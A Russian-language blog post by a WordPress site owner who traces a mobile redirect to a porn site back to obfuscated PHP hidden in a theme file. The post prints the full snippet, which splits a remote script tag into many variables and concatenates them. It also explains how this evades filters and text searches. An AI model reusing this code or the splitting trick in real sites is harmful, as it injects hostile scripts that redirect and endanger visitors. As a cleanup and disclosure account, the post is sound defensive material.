Обфускация кода — общее понимание

Предыстория: сегодня вечером настраивал шаблонную тему на сайте, работающем под управлением WordPress. Все отлично работает, и вопросов вроде как и нет — кроме качества отображения сайта на мобильном телефоне. Сказано — сделано. Берем в руки телефон, включаем браузер и вводим ссылку на сайт… и с некой долей рассеянности наблюдаем как сайт, вместо стабильной работы переадресуется на некий порнушный портал. Беда-печаль, и что-то с этим нужно делать.

Разберемся вместе 😉

Что сделано: в режиме инкогнито запущен сайт в браузере на компьютере — что бы убедиться в наличии проблемы окончательно. Увы — проблема осталась. В отдельной вкладке открываем исходный код страницы, в которой пытаемся найти ссылку, на которую переадресуется сайт. Ссылка найдена. И теперь — дело за малым — найти ссылку в коде темы, которая использована в сайте. Берем FileZilla, сливаем на локальную машину всю тему целиком с хостинга. Пытаемся найти ссылку поиском по тексту, и … ничего не находим. В этот момент мне стало странно. Ссылка есть, но в коде — ее нет. Подумав немного — решил искать не ссылку, а близкие к ней части кода. В моем случае это строки:

<!— content-gallery —>
<!— content —>

расположенные чуть выше ссылки (напомню — она видна в случае, если мы смотрим на исходный код страницы, но совершенно не определяется, если мы пытаемся найти ее в исходном коде темы). Итак, начинаем искать указанный код в файлах и без проблем находим его. А вот ниже я нашел некую абракадабру, которая на постороннюю ссылку не была похожа совершенно.

kod
Кликаем на картинку, если хотим увеличить 😉

Напомню, что хоть я и далек от программирования, читать код немного умею. Если запастись терпением можно понять, что представленный выше код является примером так называемого «обфусцированного» кода — т.е. изначально запутанного. В моем случае выглядело это следующим образом: ссылка переадресации была разбита на некоторое количество частей, каждая из которых была обозначена как отдельная переменная.

Обфусцированный код:

<?php $sdjdf=»scr»;$oe=»ipt»;$p32aps_asd=»type='»;$oaspd03=»tex»;$ijda=»t/ja»;$o4=»vasc»;$fs_3=»ript'»;$sspc=» «;$annl=»/»;$ia=»<«;$ai=»>»;
$kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc; $p30=»sr»; $ccc=»c=’http://»;$dsad=»au»;$sa3j=»to»;$ois=»-«;$osa=»im»;$dota=».»;
$co2=»co»;$zxdml=»m/4ad»;$meg=»54/s»;$geai=»ju»;$k34d=»342′»; $st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
echo $opa1.$st0.$kraj; ?>

Пример расшифровки кода:

$sdjdf=»scr»
$p32aps_asd=»type='»
$annl=»/»
$ccc=»c=’http://»

Благодаря этому ходу можно не только скрыть ссылку, но и обойти систему защиты от переходов — ведь фильтр видит только переменные, каждая из которых не представляет из себя ничего опасного. Однако — если все переменные свести в одну строну с помощью механизма конкатенации (сливания) — бессмысленный набор переменных становится командой переадресации. После этого остается всего лишь отправить на отображение и … все 🙂

Пример запуска обфусцированного кода:

echo $opa1.$st0.$kraj; 

Как видно из представленного выше примера — разбитый на большое количество переменных код переадресации на целевой сайт повторно представлен в виде переменных (но уже меньшего количества), после чего все они сведены в единое целое.

Просто, элегантно, эффективно.

Конечно же, вредоносный код был удален из исходников, и сейчас сайт работает в штатном режиме. Тьфу-тьфу 🙂

Всем спасибо.

Будут вопросы — пишите!